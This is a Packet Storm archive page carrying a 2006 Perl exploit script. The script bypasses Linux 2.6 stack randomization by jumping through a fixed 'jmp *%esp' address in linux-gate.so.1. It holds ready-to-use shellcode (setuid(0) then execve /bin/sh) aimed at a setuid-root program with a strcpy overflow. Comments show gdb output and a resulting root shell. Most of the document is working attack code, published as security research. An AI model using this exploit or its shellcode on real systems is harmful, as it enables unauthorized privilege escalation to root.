what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

exp_jmp_rand.pl.txt

exp_jmp_rand.pl.txt
Posted Aug 17, 2006
Authored by Andrea Purificato | Site rawlab.altervista.org

Exploit solution against Linux kernel 2.6 stack randomization using the jmp *%esp technique.

tags | exploit, kernel
systems | linux
SHA-256 | 50a882d748cd436140df3f15901fee6e21f635b7cf433b54fac79e42d350c913

exp_jmp_rand.pl.txt

Change Mirror Download
#!/usr/bin/perl -w
use strict;
#
# [exp_jmp_rand.pl] Mon Apr 3 19:17:14 CEST 2006
#
# Exploit solution against 2.6 stack randomization
# Using the "jmp *%esp" technic.
#
# Copyright: bunker - https://rawlab.altervista.org
# 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2
#
#
# EXPLANATION: In 2.6 kernel we have a ghost library named
# "linux-gate.so.1". It's a virtual DSO, a shared
# object exposed by the kernel at a fixed address
# in every process' memory. This part of memory
# isn't randomized, so we can explore it to find
# useful "call" or "jmp" instructions!
# In this example we find "jmp *%esp" in memory
# so we can execute shellcode in the stack ;-)
#
#
# [Find "jmp *%esp" in memory]
#
# bunker@syn:~/vuln$ ldd vuln_prog
# linux-gate.so.1 => (0xffffe000) <--- NOT RANDOM
# libc.so.6 => /lib/tls/libc.so.6 (0xb7e84000)
# /lib/ld-linux.so.2 (0xb7fcd000)
#
# bunker@syn:~/vuln$ gdb vuln_prog
# (gdb) break main
# Breakpoint 1 at 0x80483ad
# (gdb) run
# Starting program: /home/bunker/vuln/vuln_prog
# Breakpoint 1, 0x080483ad in main ()
# (gdb) x/i 0xffffe000
# 0xffffe000: jg 0xffffe047
# (gdb)
# 0xffffe002: dec %esp
# (gdb)
# 0xffffe003: inc %esi
# ...
# (gdb)
# 0xffffe777: jmp *%esp <- Interesting, use this!!
#
# bunker@syn:~/vuln$ cat vuln_prog.c
# int main(int argc, char **argv) {
# char buf[256];
# strcpy(buf, argv[1]);
# }
#
# bunker@syn:~/vuln$ ls -al vuln_prog
# -rwsr-sr-x 1 root users 8340 2006-04-02 20:11 vuln_prog
#
# bunker@syn:~/vuln$ perl exp_jmp_rand.pl 68
# sh-3.1# id
# uid=0(root) gid=100(users) groups=17(audio),18(video),19(cdrom),100(users)

die "Usage: $0 <num>\n [ vuln_buf < 4byte_ret * num ]\n"
if ($#ARGV != 0);

my $num = $ARGV[0];
print "Using multiplication factor $num...\n";

# jmp *%esp
my $ret = 0xffffe777;

# shellcode
my $sc = "\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\x6a\x0b\x58".
"\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e".
"\x89\xe3\x52\x53\x89\xe1\xcd\x80";

# vulnerable file
my $vuln = "./vuln_prog";

# build buffer
my $buf = pack("L",$ret)x$num . $sc;

# boom! :-D
exec $vuln, $buf;
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close